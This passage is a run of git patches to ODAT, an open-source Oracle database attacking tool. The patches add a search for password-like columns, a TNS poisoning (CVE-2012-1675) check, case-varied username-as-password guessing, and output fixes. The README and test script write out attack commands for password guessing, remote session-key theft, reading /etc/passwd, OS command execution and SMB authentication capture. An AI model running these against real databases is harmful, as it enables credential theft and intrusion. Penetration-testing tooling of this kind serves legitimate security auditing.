getScreenSize class Http (OracleDatabase): ''' @@ -95,7 +97,7 @@ def printScanPortResults(self,results): ''' cleanList = [] results.insert(0,["PORT","PROTOCOL","STATE",'ERROR']) - table = Texttable(max_width=120) + table = Texttable(max_width=getScreenSize()[0]) table.set_deco(Texttable.HEADER) if self.args['verbose']<2 : for l in results: diff --git a/OracleDatabase.py b/OracleDatabase.py index 63e732e..a168822 100644 --- a/OracleDatabase.py +++ b/OracleDatabase.py @@ -28,7 +28,8 @@ def __init__(self,args): self.ERROR_INSUFF_PRIV_CONN = "ORA-01031: " self.ERROR_CONN_IMPOSS = "ORA-12541: " self.ERROR_XML_DB_SECU_NOT_INST = "ORA-24248: " - self.ERROR_UNABLE_TO_ACQUIRE_ENV = "Unable to acquire Oracle environment handle" + self.ERROR_UNABLE_TO_ACQUIRE_ENV = "Unable to acquire Oracle environment handle" + self.ERROR_NOT_CONNECTED = "ORA-03114: " def __generateConnectionString__(self): ''' @@ -47,7 +48,7 @@ def connection(self,threaded =True, stopIfError=False): If stopIfError == True, stop if connection error ''' try: - if self.args['SYSDBA'] == True : + if self.args['SYSDBA'] == True : self.args['dbcon'] = cx_Oracle.connect(self.args['connectionStr'], mode=cx_Oracle.SYSDBA,threaded=threaded) elif self.args['SYSOPER'] == True : self.args['dbcon'] = cx_Oracle.connect(self.args['connectionStr'], mode=cx_Oracle.SYSOPER,threaded=threaded) @@ -79,20 +80,20 @@ def __retryConnect__(self, nbTry=3): ''' Try to re connect when TARGET UNAVAILABLE return status + return None if impossible to connect to the database server ''' timesleep, status = 2, '' for tryNum in range(nbTry): logging.debug("Re connection {0} to the listener on the {1} server".format(tryNum+1, self.args['server'])) sleep(timesleep) status = self.connection() - if self.__needRetryConnection__(status) == False: + logging.debug("Re-connection done !") return status - if tryNum == nbTry-1 : logging.warning("Becareful! The remote is now unavailable. {0} SID not tried. Perhaps you are doing a DOS on the listener.".format(self.args['sid'])) - timesleep += 4 + logging.debug("Impossible to re-establish the connection!") return None def __needRetryConnection__ (self, status): @@ -127,7 +128,14 @@ def __execThisQuery__(self,query=None,ld=[],isquery=True): cursor.execute(query) except Exception, e: logging.info("Impossible to execute the query `{0}`: `{1}`".format(query, self.cleanError(e))) - return ErrorSQLRequest(e) + if self.ERROR_NOT_CONNECTED in str(e): + status = self.__retryConnect__(nbTry=3) + if status == None : + return ErrorSQLRequest("Disconnected. Impossible to re-establish a connection to the database server !") + else : + return self.__execThisQuery__(query=query,ld=ld,isquery=isquery) + else : + return ErrorSQLRequest(e) if isquery==True : try : results = cursor.fetchall() diff --git a/Output.py b/Output.py index 287ac26..f12c4b6 100644 --- a/Output.py +++ b/Output.py @@ -25,6 +25,7 @@ def title (self, m): ''' print a title ''' + m = m.encode(encoding='UTF-8',errors='ignore') self.titlePos += 1 self.subTitlePos = 0 formatMesg = '\n[{0}] {1}: {2}'.format(self.titlePos,'({0}:{1})'.format(self.args['server'],self.args['port']),m) @@ -35,6 +36,7 @@ def subtitle (self, m): ''' print a subtitle ''' + m = m.encode(encoding='UTF-8',errors='ignore') self.subTitlePos += 1 formatMesg = '[{0}.{1}] {2}'.format(self.titlePos, self.subTitlePos, m) if self.noColor == True or TERMCOLOR_AVAILABLE == False: print formatMesg @@ -44,6 +46,7 @@ def badNews (self, m): ''' print a stop message ''' + m = m.encode(encoding='UTF-8',errors='ignore') formatMesg = '[-] {0}'.format(m) if self.noColor == True or TERMCOLOR_AVAILABLE == False: print formatMesg else : print colored(formatMesg, 'red',attrs=['bold']) @@ -52,6 +55,7 @@ def goodNews(self,m): ''' print good news ''' + m = m.encode(encoding='UTF-8',errors='ignore') formatMesg = '[+] {0}'.format(m) if self.noColor == True or TERMCOLOR_AVAILABLE == False: print formatMesg else : print colored(formatMesg, 'green',attrs=['bold']) @@ -60,6 +64,7 @@ def unknownNews(self,m): ''' print unknow news ''' + m = m.encode(encoding='UTF-8',errors='ignore') formatMesg = '[+] {0}'.format(m) if self.noColor == True or TERMCOLOR_AVAILABLE == False: print formatMesg else : print colored(formatMesg, 'yellow',attrs=['bold']) @@ -68,4 +73,4 @@ def printOSCmdOutput(self,m): ''' print the output of a OS command ''' - print m + print m.encode(encoding='UTF-8',errors='ignore') diff --git a/Passwords.py b/Passwords.py index 42e8593..36919c9 100644 --- a/Passwords.py +++ b/Passwords.py @@ -37,7 +37,7 @@ def __tryToGetHashedPasswords__(self): results = self.__execQuery__(query=req,ld=['name', 'password','spare4']) else : req = "SELECT username, password FROM DBA_USERS" - results = self.__execQuery__(query=req,ld=['username', 'password']) + results = self.__execQuery__(query=req,ld=['username', 'password']) if isinstance(results,Exception): logging.info("Impossible to get hashed passwords: {0}".format(results)) return results diff --git a/README.md b/README.md index 454c5f9..45248e1 100644 --- a/README.md +++ b/README.md @@ -11,10 +11,14 @@ Usage examples of ODAT: * You have a valid Oracle account and want to __execute commands on the operating system__ hosting this DB (ex: reverse shell) -Tested on Oracle Database __10g__ and __11g__. +Tested on Oracle Database __10g__, __11g__ and __12c__(12.1.0.2.0). Changelog ==== +* Version __1.5__ (__2015/03/17__) : + * new module named *search* in order to search in column names + * some improvements done (ex: output of tables) + * new option : output encoding * Version __1.4__ (__2014/12/07__) : * fix some false positives * improve the CVE-2012-3137 module: check more easily if the vulnerability can be exploited @@ -67,11 +71,12 @@ Thanks to ODAT, you can: * HttpUriType * UTL_TCP * __capture a SMB authentication__ through: - * an index in order trigger a SMB connection (NEW : 2014/08/08) + * an index in order trigger a SMB connection * exploit the __CVE-2012-313__ (http://cvedetails.com/cve/2012-3137) * pickup the session key and salt for arbitrary users * attack by dictionary on sessions - +* __search in column names__ thanks to the *search* module: (NEW : 2015/03/17) + * search a pattern (ex: password) in column names ![Alt text](./pictures/ODAT_main_features_v1.1.jpg) Supported Platforms and dependencies @@ -521,6 +526,32 @@ sudo ./odat.py stealRemotePwds -s $SERVER -d $ID --user-list accounts_small.txt * To do a dictionary attack on session keys and salts: ```bash sudo chmod o+r sessions-$SERVER-1521-$SID.txt; ./odat.py stealRemotePwds -s $SERVER -d $SID --decrypt-sessions sessions-$SERVER-1521-$SID.txt dede.txt +``` + + *search* module +--- + +This module allows you to search in column names easily. + +* To get column names which contains *password* *like* (ex: passwd, password, motdepasse, clave): +```bash +./odat.py search -s $SERVER -d $SID -U $USER -P $PASSWORD --pwd-column-names +``` + +By default, columns which do not contain data are not output by this module. +To see columns which do not contain data, you should use the *--show-empty-columns* option: +```bash +./odat.py search -s $SERVER -d $SID -U $USER -P $PASSWORD --pwd-column-names --show-empty-columns +``` + +* You can search patterns in column names manually (*--columns* option). To search column names which contain the pattern '%PASSWORD%': +```bash +./odat.py search -s $SERVER -d $SID -U $USER -P $PASSWORD --columns '%password%' +``` + +* To search column names which contain password like patterns: +```bash +./odat.py search -s $SERVER -d $SID -U $USER -P $PASSWORD --columns '%password%' ``` --- diff --git a/Utils.py b/Utils.py index e52fc00..2c40ce0 100644 --- a/Utils.py +++ b/Utils.py @@ -11,6 +11,7 @@ import ntpath from subprocess import STDOUT, Popen, PIPE from socket import inet_aton +import os def generateUniqueNameFile (): ''' @@ -27,6 +28,8 @@ def __init__(self, e, query=None): self.errormsg = str(e) if query != None : self.query = query + else : + self.query = "" def __str__(self): ''' @@ -205,5 +208,10 @@ def checkOptionsGivenByTheUser(args,operationsAllowed,checkAccount=True): elif anOperationHasBeenChosen(args,operationsAllowed) == False : return False return True - +def getScreenSize (): + ''' + Returns screen size (columns, lines) + ''' + rows, columns = os.popen('stty size', 'r').read().split() + return (rows, columns) diff --git a/odat.py b/odat.py index b26512d..f753d9b 100755 --- a/odat.py +++ b/odat.py @@ -14,7 +14,7 @@ except ImportError: COLORLOG_AVAILABLE = False -import argparse, logging, platform, cx_Oracle, string, os +import argparse, logging, platform, cx_Oracle, string, os, sys from Utils import areEquals, configureLogging,ErrorSQLRequest, sidHasBeenGiven, anAccountIsGiven, ipOrNameServerHasBeenGiven from sys import exit,stdout @@ -40,6 +40,7 @@ from CVE_2012_3137 import CVE_2012_3137,runCVE20123137Module from Oradbg import Oradbg,runOradbgModule from UsernameLikePassword import UsernameLikePassword,runUsernameLikePassword +from Search import runSearchModule def runClean (args): ''' @@ -199,6 +200,7 @@ def main(): PPoptional._optionals.title = "optional arguments" PPoptional.add_argument('-v', dest='verbose', action='count', default=0, help='enable verbosity') PPoptional.add_argument('--sleep', dest='timeSleep', required=False, type=float, default=DEFAULT_TIME_SLEEP, help='time sleep between each test or request (default: %(default)s)') + PPoptional.add_argument('--encoding', dest='encoding', required=False, default=DEFAULT_ENCODING, help='output encoding (default: %(default)s)') #1.1- Parent parser: connection options PPconnection = argparse.ArgumentParser(add_help=False,formatter_class=lambda prog: argparse.HelpFormatter(prog, max_help_position=MAX_HELP_POSITION)) PPconnection._optionals.title = "connection options" @@ -335,7 +337,14 @@ def main(): PPsmb._optionals.title = "smb commands" PPsmb.add_argument('--capture',dest='captureSMBAuthentication',default=None,required=False,nargs=2,metavar=('local_ip','share_name'),help='capture the smb authentication') PPsmb.add_argument('--test-module',dest='test-module',action='store_true',help='test the module before use it') - #1.19- Parent parser: clean + #1.19- Parent parser: search + PPsearch = argparse.ArgumentParser(add_help=False,formatter_class=lambda prog: argparse.HelpFormatter(prog, max_help_position=MAX_HELP_POSITION)) + PPsearch._optionals.title = "search commands" + PPsearch.add_argument('--column-names',dest='column-names',default=None,required=False,metavar='sqlPattern',help='search pattern in all collumns') + PPsearch.add_argument('--pwd-column-names',dest='pwd-column-names',action='store_true',help='search password patterns in all collumns') + PPsearch.add_argument('--show-empty-columns',dest='show-empty-columns',action='store_true',help='show columns even if columns are empty') + PPsearch.add_argument('--test-module',dest='test-module',action='store_true',help='test the module before use it') + #1.20- Parent parser: clean PPclean = argparse.ArgumentParser(add_help=False,formatter_class=lambda prog: argparse.HelpFormatter(prog, max_help_position=MAX_HELP_POSITION)) PPclean._optionals.title = "clean commands" PPclean.add_argument('--all',dest='all',action='store_true',required=True,help='clean all traces and logs stored locally') @@ -401,7 +410,10 @@ def main(): #2.q- smb parser_smb = subparsers.add_parser('smb',parents=[PPoptional,PPconnection,PPsmb,PPoutput],help='to capture the SMB authentication') parser_smb.set_defaults(func=runSMBModule,auditType='smb') - #2.q- clean + #2.r- smb + parser_search = subparsers.add_parser('search',parents=[PPoptional,PPconnection,PPsearch,PPoutput],help='to search in databases, tables and columns') + parser_search.set_defaults(func=runSearchModule,auditType='search') + #2.s- clean parser_clean = subparsers.add_parser('clean',parents=[PPoptional,PPclean,PPoutput],help='clean traces and logs') parser_clean.set_defaults(func=runClean,auditType='clean') #3- parse the args @@ -411,6 +423,9 @@ def main(): #4- Configure logging and output configureLogging(args) args['print'] = Output(args) + #5- define encoding + reload(sys) + sys.setdefaultencoding(args['encoding']) #Start the good function if args['auditType']!='clean' and ipOrNameServerHasBeenGiven(args) == False : return EXIT_MISS_ARGUMENT arguments.func(args) diff --git a/testAllOdatModules.sh b/testAllOdatModules.sh index 95a664e..5afa495 100755 --- a/testAllOdatModules.sh +++ b/testAllOdatModules.sh @@ -2,7 +2,7 @@ #Constants ALL_IS_OK=0 #Connection information -SERVER=192.168.56.101 +SERVER=192.168.56.102 SID=ORCL USER="SYS" PASSWORD='oracle' @@ -12,7 +12,7 @@ ODATBIN='./odat.py' tests=( "$ODATBIN all -s $SERVER" - "$ODATBIN all -s $SERVER --accounts-file=./accounts_small.txt --sid-charset '01' --sids-max-size=2" + "$ODATBIN all -s $SERVER --accounts-file=./accounts/accounts_small.txt --sid-charset '01' --sids-max-size=2" "$ODATBIN all -s $SERVER --no-alias-like-sid --sids-file=./sids.txt" "$ODATBIN all -s $SERVER -d $SID" "$ODATBIN all -s $SERVER -d $SID -U $USER -P $PASSWORD" @@ -20,7 +20,7 @@ tests=( "$ODATBIN all -s $SERVER" "$ODATBIN sidguesser -s $SERVER --sids-max-size=1 --sid-charset='1234'" "$ODATBIN sidguesser -s $SERVER --sids-file=./sids.txt" "$ODATBIN passwordguesser -s $SERVER -d $SID" - "$ODATBIN passwordguesser -s $SERVER -d $SID --accounts-file=./accounts_small.txt" + "$ODATBIN passwordguesser -s $SERVER -d $SID --accounts-file=./accounts/accounts_small.txt" "$ODATBIN utlhttp -s $SERVER -d $SID -U $USER -P $PASSWORD --test-module" "$ODATBIN utlhttp -s $SERVER -d $SID -U $USER -P $PASSWORD --scan-ports 127.0.0.1 1521,443,22" "$ODATBIN utlhttp -s $SERVER -d $SID -U $USER -P $PASSWORD --scan-ports 127.0.0.1 20-30" @@ -39,11 +39,11 @@ tests=( "$ODATBIN all -s $SERVER" "$ODATBIN externaltable -s $SERVER -d $SID -U $USER -P $PASSWORD --getFile /tmp/ temp.sh passwd.txt" "$ODATBIN externaltable -s $SERVER -d $SID -U $USER -P $PASSWORD --exec /tmp/ temp.sh" "$ODATBIN dbmsxslprocessor -s $SERVER -d $SID -U $USER -P $PASSWORD --test-module" - "$ODATBIN dbmsxslprocessor -s $SERVER -d $SID -U $USER -P $PASSWORD --putFile /tmp/ file.txt accounts_small.txt" + "$ODATBIN dbmsxslprocessor -s $SERVER -d $SID -U $USER -P $PASSWORD --putFile /tmp/ file.txt ./accounts/accounts_small.txt" "$ODATBIN dbmsadvisor -s $SERVER -d $SID -U $USER -P $PASSWORD --test-module" - "$ODATBIN dbmsadvisor -s $SERVER -d $SID -U $USER -P $PASSWORD --putFile /tmp/ file.txt ./accounts_small.txt" + "$ODATBIN dbmsadvisor -s $SERVER -d $SID -U $USER -P $PASSWORD --putFile /tmp/ file.txt ./accounts/accounts_small.txt" "$ODATBIN utlfile -s $SERVER -d $SID -U $USER -P $PASSWORD --test-module --getFile /etc/ passwd passwd.txt" - "$ODATBIN utlfile -s $SERVER -d $SID -U $USER -P $PASSWORD --putFile /tmp/ file.txt accounts_small.txt" + "$ODATBIN utlfile -s $SERVER -d $SID -U $USER -P $PASSWORD --putFile /tmp/ file.txt ./accounts/accounts_small.txt" "$ODATBIN utlfile -s $SERVER -d $SID -U $USER -P $PASSWORD --removeFile /tmp/ file.txt" "$ODATBIN dbmsscheduler -s $SERVER -d $SID -U $USER -P $PASSWORD --test-module" "$ODATBIN dbmsscheduler -s $SERVER -d $SID -U $USER -P $PASSWORD --exec /bin/ls" @@ -54,12 +54,16 @@ tests=( "$ODATBIN all -s $SERVER" "$ODATBIN oradbg -s $SERVER -d $SID -U $USER -P $PASSWORD --test-module" "$ODATBIN oradbg -s $SERVER -d $SID -U $USER -P $PASSWORD --exec /bin/ls" "sudo $ODATBIN stealremotepwds -s $SERVER -d $SID --test-module" - "sudo $ODATBIN stealremotepwds -s $SERVER -d $SID --user-list accounts_small.txt --get-all-passwords" - "sudo chmod o+r sessions-$SERVER-1521-$SID.odat.challenge; $ODATBIN stealremotepwds -s $SERVER -d $SID --decrypt-sessions sessions-$SERVER-1521-$SID.odat.challenge accounts_small.txt" + "sudo $ODATBIN stealremotepwds -s $SERVER -d $SID --user-list ./accounts/accounts_small.txt --get-all-passwords" + "sudo chmod o+r sessions-$SERVER-1521-$SID.odat.challenge; $ODATBIN stealremotepwds -s $SERVER -d $SID --decrypt-sessions sessions-$SERVER-1521-$SID.odat.challenge ./accounts/accounts_small.txt" "$ODATBIN dbmslob -s $SERVER -d $SID -U $USER -P $PASSWORD --test-module" "$ODATBIN dbmslob -s $SERVER -d $SID -U $USER -P $PASSWORD --getFile /etc/ passwd temp.txt" "$ODATBIN smb -s $SERVER -d $SID -U $USER -P $PASSWORD --test-module" "$ODATBIN smb -s $SERVER -d $SID -U $USER -P $PASSWORD --capture 127.0.0.1 SHARE" + "$ODATBIN search -s $SERVER -d $SID -U $USER -P $PASSWORD --columns '%password%'" + "$ODATBIN search -s $SERVER -d $SID -U $USER -P $PASSWORD --columns '%password%' --show-empty-columns" + "$ODATBIN search -s $SERVER -d $SID -U $USER -P $PASSWORD --pwd-column-names --show-empty-columns" + "$ODATBIN search -s $SERVER -d $SID -U $USER -P $PASSWORD --pwd-column-names" ) function isGoodReturnValue { diff --git a/texttable.py b/texttable.py index ece839a..0e2a449 100644 --- a/texttable.py +++ b/texttable.py @@ -1,4 +1,5 @@ -#!/usr/bin/env python +#!/usr/bin/python +# -*- coding: utf-8 -*- # # texttable - module for creating simple ASCII tables # Copyright (C) 2003-2011 Gerome Fournier From eb0a31b8d0507447d5ab08c2efe63a2455ca4859 Mon Sep 17 00:00:00 2001 From: bobsecurity Date: Tue, 31 Mar 2015 14:11:30 +0200 Subject: [PATCH 69/83] Updates --- TODO.txt | 1 - createALinuxBinary.sh | 3 +-- 2 files changed, 1 insertion(+), 3 deletions(-) diff --git a/TODO.txt b/TODO.txt index 71773b9..263cf61 100644 --- a/TODO.txt +++ b/TODO.txt @@ -8,7 +8,6 @@ http://blog.red-database-security.com/2011/09/17/disable-auditing-and-running-os-commands-using-oradebug/ http://www.petefinnigan.com/weblog/archives/00001353.htm 2- Remonter un le SID "BLABLA" lorsque l'alias est sous la forme '.H......"..<(DESCRIPTION=(TMP=)(VSNNUM=0)(ERR=0)(ALIAS=listener_BLABLA))' -3- get the remote version database thanks to the banner. Tnsping can be used ----------- MEDIUM ----------- diff --git a/createALinuxBinary.sh b/createALinuxBinary.sh index 4ef73c2..05224a7 100755 --- a/createALinuxBinary.sh +++ b/createALinuxBinary.sh @@ -14,8 +14,7 @@ $PYINSTALLER --clean --onedir --noconfirm --distpath="./build/linux/" --workpath #Add a librarie manually cp "$ORACLE_HOME"/lib/libociei.so ./build/linux/odat-$VERSION/libociei.so #Required files -cp accounts.txt ./build/linux/odat-$VERSION/accounts.txt -cp accounts_small.txt ./build/linux/odat-$VERSION/accounts_small.txt +cp -R accounts/ ./build/linux/odat-$VERSION/accounts cp sids.txt ./build/linux/odat-$VERSION/sids.txt chmod a+x ./build/linux/odat-$VERSION/libociei.so #Suppression des traces From 52497a2b5150c01e33f2f2d18399323ee638fa92 Mon Sep 17 00:00:00 2001 From: bobsecurity Date: Tue, 31 Mar 2015 14:13:48 +0200 Subject: [PATCH 70/83] Add an element in the TODO list --- TODO.txt | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/TODO.txt b/TODO.txt index 263cf61..51cd12d 100644 --- a/TODO.txt +++ b/TODO.txt @@ -18,6 +18,7 @@ 5- Create files with DBMS_XMLDOM 6- Execute system command with PL/SQL native (undocumented) 7- Create an option for each module to show sql command used by this one. The aim : when the tool can't be used, sql commands generated by the tool can be used. +8- Catch errors when the credential file given by a user is not good ----------- LOW @@ -25,6 +26,5 @@ 1- To Transfert files via DBMS_FILE_TRANSFER (http://psoug.org/reference/dbms_file_trans.html). Need an Oracle database installed localy because need database link. 2- Vérifier qu'il y a du chiffrement ? Que faire ? 3- Vérifier comment st stockés les mots de passe dans l'application -4- Lister les tables sensibles tq login, password 5- Execute command system with "alter system set “_oradbg_pathname”=‘/tmp/debug.sh’;" Alter system set is an undocumented parameter (since Oracle 10g) that allows you to specify the name of From b704d855ab13d3f6c3ff250f27bbf5fa5d8ff01f Mon Sep 17 00:00:00 2001 From: "Quentin HARDY (bobsecurity)" Date: Mon, 6 Jul 2015 10:50:10 +0200 Subject: [PATCH 71/83] Test upper case and lower case of passwords (ex: SYS/sys and SYS/SYS and not SYS/SYS only now) --- UsernameLikePassword.py | 16 +++++++++++++--- 1 file changed, 13 insertions(+), 3 deletions(-) diff --git a/UsernameLikePassword.py b/UsernameLikePassword.py index ebe13d0..647d8b5 100644 --- a/UsernameLikePassword.py +++ b/UsernameLikePassword.py @@ -11,7 +11,7 @@ class UsernameLikePassword (OracleDatabase): ''' Allow to connect to the database using each Oracle username like the password ''' - def __init__(self,args): + def __init__(self,args, lowerAndUpper=True): ''' Constructor ''' @@ -19,6 +19,7 @@ def __init__(self,args): OracleDatabase.__init__(self,args) self.allUsernames = [] self.validAccountsList = [] + self.lowerAndUpper=lowerAndUpper def __loadAllUsernames__(self): ''' @@ -39,11 +40,20 @@ def __loadAllUsernames__(self): def tryUsernameLikePassword(self): ''' Try to connect to the DB with each Oracle username using the username like the password + if lowerAndUpper == True, the username in upper case and lower case format will be tested + Otherwise identical to username only ''' accounts = [] self.__loadAllUsernames__() passwordGuesser = PasswordGuesser(self.args,"",timeSleep=self.args['timeSleep']) - for usern in self.allUsernames: accounts.append([usern,usern]) + for usern in self.allUsernames: + if self.lowerAndUpper == True: + logging.debug("Password identical (upper case and lower case) to username will be tested for '{0}'".format(usern)) + accounts.append([usern,usern.upper()]) + accounts.append([usern,usern.lower()]) + else: + logging.debug("Password identical to username will be tested ONLY for '{0}' (option enabled)".format(usern)) + accounts.append([usern,usern]) passwordGuesser.accounts = accounts passwordGuesser.searchValideAccounts() self.validAccountsList = passwordGuesser.valideAccounts @@ -58,7 +68,7 @@ def runUsernameLikePassword(args): ''' Run the UsernameLikePassword module ''' - status = True + status= True usernameLikePassword = UsernameLikePassword(args) status = usernameLikePassword.connection(stopIfError=True) #Option 1: UsernameLikePassword From 35d6666c5f9e99498aa4b447962bfd4f607ac5b0 Mon Sep 17 00:00:00 2001 From: "Quentin HARDY (bobsecurity)" Date: Thu, 9 Jul 2015 13:37:53 +0200 Subject: [PATCH 72/83] New module to detect if target is vulnerable to TNS poisoning (CVE-2012-1675) --- Tnscmd.py | 46 ++++++++++++++++++++++++++++++++++++++++++---- odat.py | 11 +++++++++-- 2 files changed, 51 insertions(+), 6 deletions(-) diff --git a/Tnscmd.py b/Tnscmd.py index e2a51ef..0e27605 100644 --- a/Tnscmd.py +++ b/Tnscmd.py @@ -4,7 +4,7 @@ import logging,struct, socket, re from Constants import * -class Tnscmd (): +class Tnscmd(): ''' Get information about the oracle database service ''' @@ -27,6 +27,7 @@ def getRecvData(self): def getInformation(self,cmd='ping'): ''' Get information about the oracle database service + Return False if an error ''' logging.info ("alias list emptied") self.recvdata = "" @@ -70,6 +71,7 @@ def getInformation(self,cmd='ping'): s.close() except Exception,e: logging.critical("Connection Error: {0}".format(e)) + return False # 1st 12 bytes have some meaning which so far eludes me logging.info("Data received thanks to the '{1}' cmd: {0}".format(repr(self.recvdata),cmd)) @@ -96,12 +98,48 @@ def getVersion(self): for v in versionList : self.version += str(int(v,16)) + '.' return self.version + def isTNSListenerVulnerableToCVE_2012_1675 (self): + ''' + Checks the server for TNS Poison vulnerabilities. + It sends to the remote listener a packet with command to register a new TNS Listener and checks + for response indicating an error. If there is an error in the response, the target is not vulnearble. + Otherwise, the target is vulnerable. + Return True if vulneeable to CVE-2012-1675 (http://seclists.org/fulldisclosure/2012/Apr/204) + Otherwise returns False + return None if error + ''' + ERROR_STR = "(ERROR_STACK=(ERROR=" + status = self.getInformation(cmd='service_register_NSGR') + if status == False: + return None + else: + if ERROR_STR in self.recvdata: + logging.debug("'{0}' in target's response after registration command: not vulnerable".format(ERROR_STR)) + return False + else: + logging.debug("Target is vulnerable to CVE-2012-1675 because there is no error in the reponse after registration command") + return True + + +def runCheckTNSPoisoning(args): + ''' + Check if target is vulnerable to Tns poisoning + ''' + args['print'].title("Is the target is vulnerable to TNS poisoning (CVE-2012-1675). Keep calm because take time...") + tnscmd = Tnscmd(args) + status = tnscmd.isTNSListenerVulnerableToCVE_2012_1675() + if status == None: + pass + elif status == True: + args['print'].goodNews("The target is vulnerable to a remote TNS poisoning") + else : + args['print'].badNews("The target is not vulnerable to a remote TNS poisoning") def runTnsCmdModule(args): ''' run the TNS cmd module ''' - if args['ping'] == False and args['version'] == False and args['status'] == False: + if args['ping'] == False and args['version'] == False and args['status'] == False and args['checkTNSPoisoning'] == False: logging.critical("You must choose --ping or/and --version or/and --status") return EXIT_MISS_ARGUMENT tnscmd = Tnscmd(args) @@ -117,7 +155,7 @@ def runTnsCmdModule(args): args['print'].title("Searching the server status of the Oracle database server ({0}) listening on the port {1}".format(args['server'],args['port'])) tnscmd.getInformation(cmd='status') args['print'].goodNews("Data received by the database server: '{0}'".format(tnscmd.getRecvData())) - - + if args['checkTNSPoisoning'] == True: + runCheckTNSPoisoning(args) diff --git a/odat.py b/odat.py index f753d9b..4f35262 100755 --- a/odat.py +++ b/odat.py @@ -20,7 +20,7 @@ from Constants import * from Output import Output -from Tnscmd import runTnsCmdModule +from Tnscmd import runTnsCmdModule, runCheckTNSPoisoning from UtlFile import UtlFile, runUtlFileModule from DbmsAdvisor import DbmsAdvisor,runDbmsadvisorModule from DbmsScheduler import DbmsScheduler,runDbmsSchedulerModule @@ -66,6 +66,11 @@ def runAllModules(args): Run all modules ''' connectionInformation, validSIDsList = {}, [] + #0)TNS Poinsoning + if args['no-tns-poisoning-check'] == False: + runCheckTNSPoisoning(args) + else: + logging.info("Don't check if the target is vulnerable to TNS poisoning because the option --no-tns-poisoning-check is enabled in command line") #A)SID MANAGEMENT if args['sid'] == None : logging.debug("Searching valid SIDs") @@ -98,7 +103,7 @@ def runAllModules(args): for aLogin, aPassword in validAccountsList.items(): if connectionInformation.has_key(sid) == False: connectionInformation[sid] = [[aLogin,aPassword]] else : connectionInformation[sid].append([aLogin,aPassword]) - else : + else: validAccountsList = {args['user']:args['password']} for aSid in validSIDsList: for aLogin, aPassword in validAccountsList.items(): @@ -220,12 +225,14 @@ def main(): PPallModule = argparse.ArgumentParser(add_help=False,formatter_class=lambda prog: argparse.HelpFormatter(prog, max_help_position=MAX_HELP_POSITION)) PPallModule._optionals.title = "all module options" PPallModule.add_argument('-C', dest='credentielsFile', action='store_true', required=False, default=False, help='use credentiels stored in the --accounts-file file (disable -P and -U)') + PPallModule.add_argument('--no-tns-poisoning-check', dest='no-tns-poisoning-check', action='store_true', required=False, default=False, help="don't check if target is vulnreable to TNS poisoning") #1.3- Parent parser: TNS cmd PPTnsCmd = argparse.ArgumentParser(add_help=False,formatter_class=lambda prog: argparse.HelpFormatter(prog, max_help_position=MAX_HELP_POSITION)) PPTnsCmd._optionals.title = "TNS cmd options" PPTnsCmd.add_argument('--ping', dest='ping', action='store_true', required=False, default=False, help='send a TNS ping command to get alias') PPTnsCmd.add_argument('--version', dest='version', action='store_true', required=False, default=False, help='send a TNS version command to try to get verion') PPTnsCmd.add_argument('--status', dest='status', action='store_true', required=False, default=False, help='send a TNS status command to get the status') + PPTnsCmd.add_argument('--tns-poisoning', dest='checkTNSPoisoning', action='store_true', required=False, default=False, help='check if target is vulnerable to TNS Poisoning (CVE-2012-1675)') #1.3- Parent parser: SID Guesser PPsidguesser = argparse.ArgumentParser(add_help=False,formatter_class=lambda prog: argparse.HelpFormatter(prog, max_help_position=MAX_HELP_POSITION)) PPsidguesser._optionals.title = "SID guesser options" From 611834b0c133cc8d94fd9579d390bd3f1d416d5c Mon Sep 17 00:00:00 2001 From: "Quentin HARDY (bobsecurity)" Date: Thu, 9 Jul 2015 13:52:27 +0200 Subject: [PATCH 73/83] Version 1.6 --- Constants.py | 2 +- README.md | 4 ++++ 2 files changed, 5 insertions(+), 1 deletion(-) diff --git a/Constants.py b/Constants.py index 809b857..9fc333d 100644 --- a/Constants.py +++ b/Constants.py @@ -16,7 +16,7 @@ By Quentin Hardy (quentin.hardy@bt.com or qhardyfr@gmail.com) """ -CURRENT_VERSION = "Version 1.5 - 2014/03/17" +CURRENT_VERSION = "Version 1.6 - 2015/07/09" DEFAULT_SID_MAX_SIZE = 2 MAX_HELP_POSITION=60 DEFAULT_SID_FILE = "sids.txt" diff --git a/README.md b/README.md index 45248e1..e71f22f 100644 --- a/README.md +++ b/README.md @@ -15,6 +15,9 @@ Tested on Oracle Database __10g__, __11g__ and __12c__(12.1.0.2.0). Changelog ==== +* Version __1.6__ (__2015/07/09__) : + * new feature to detect if a target is vulnerable to TNS poisoning (CVE-2012-1675) + * some improvements done * Version __1.5__ (__2015/03/17__) : * new module named *search* in order to search in column names * some improvements done (ex: output of tables) @@ -75,6 +78,7 @@ Thanks to ODAT, you can: * exploit the __CVE-2012-313__ (http://cvedetails.com/cve/2012-3137) * pickup the session key and salt for arbitrary users * attack by dictionary on sessions +* check __CVE-2012-1675__ (http://seclists.org/fulldisclosure/2012/Apr/204) * __search in column names__ thanks to the *search* module: (NEW : 2015/03/17) * search a pattern (ex: password) in column names ![Alt text](./pictures/ODAT_main_features_v1.1.jpg) From 952fa00dd0eae0c7f927b97cb982e47c1d8d4245 Mon Sep 17 00:00:00 2001 From: "Quentin HARDY (bobsecurity)" Date: Wed, 15 Jul 2015 14:28:25 +0200 Subject: [PATCH 74/83] new module named unwrapper --- Constants.py | 2 +- Output.py | 7 ++- README.md | 52 +++++++++++++++++- Unwrapper.py | 145 +++++++++++++++++++++++++++++++++++++++++++++++++++ odat.py | 22 ++++++-- 5 files changed, 219 insertions(+), 9 deletions(-) create mode 100644 Unwrapper.py diff --git a/Constants.py b/Constants.py index 9fc333d..9d3b8f2 100644 --- a/Constants.py +++ b/Constants.py @@ -16,7 +16,7 @@ By Quentin Hardy (quentin.hardy@bt.com or qhardyfr@gmail.com) """ -CURRENT_VERSION = "Version 1.6 - 2015/07/09" +CURRENT_VERSION = "Version 1.6 - 2015/07/14" DEFAULT_SID_MAX_SIZE = 2 MAX_HELP_POSITION=60 DEFAULT_SID_FILE = "sids.txt" diff --git a/Output.py b/Output.py index f12c4b6..79bd94c 100644 --- a/Output.py +++ b/Output.py @@ -25,10 +25,15 @@ def title (self, m): ''' print a title ''' + server, port = "", "" m = m.encode(encoding='UTF-8',errors='ignore') self.titlePos += 1 self.subTitlePos = 0 - formatMesg = '\n[{0}] {1}: {2}'.format(self.titlePos,'({0}:{1})'.format(self.args['server'],self.args['port']),m) + if self.args.has_key('server'): server = self.args['server'] + else: server = "Unknown" + if self.args.has_key('port'): port = self.args['port'] + else: port = "port" + formatMesg = '\n[{0}] {1}: {2}'.format(self.titlePos,'({0}:{1})'.format(server,port),m) if self.noColor == True or 